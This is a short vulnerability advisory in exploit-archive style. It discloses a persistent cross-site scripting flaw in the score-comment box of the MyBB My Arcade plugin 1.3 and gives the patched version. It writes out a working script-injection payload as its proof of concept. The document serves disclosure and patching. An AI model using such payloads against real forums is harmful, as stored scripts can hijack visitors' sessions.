MyBB My Arcade 1.3 Cross Site Scripting

`# Exploit Title: MyBB My Arcade Plugin v1.3 - Persistent XSS  
# Date: 2/21/2018  
# Author: 0xB9  
# Contact: luxorforums.com/User-0xB9 or 0xB9[at]protonmail.com  
# Software Link: https://community.mybb.com/mods.php?action=view&pid=411  
# Version: 1.3  
# Tested on: Ubuntu 17.10  
  
  
1. Description:  
The My Arcade plugin adds a page of arcade games and keeps track of user scores, also allowing users to add a comment next to their score. The comment box is vulnerable to a persistent XSS.  
  
  
2. Proof of Concept:  
  
Persistent XSS  
- Play an arcade game  
- Add the following comment to your score <p """><SCRIPT>alert("XSS")</SCRIPT>">  
- Edit the comment, Boom.  
  
  
3. Solution:  
Update to 1.3.1  
Patch: https://github.com/PaulBender/My-Arcade/commit/4ee2a2e8d245defb94930c2c377e78ddfb0fcc94  
  
`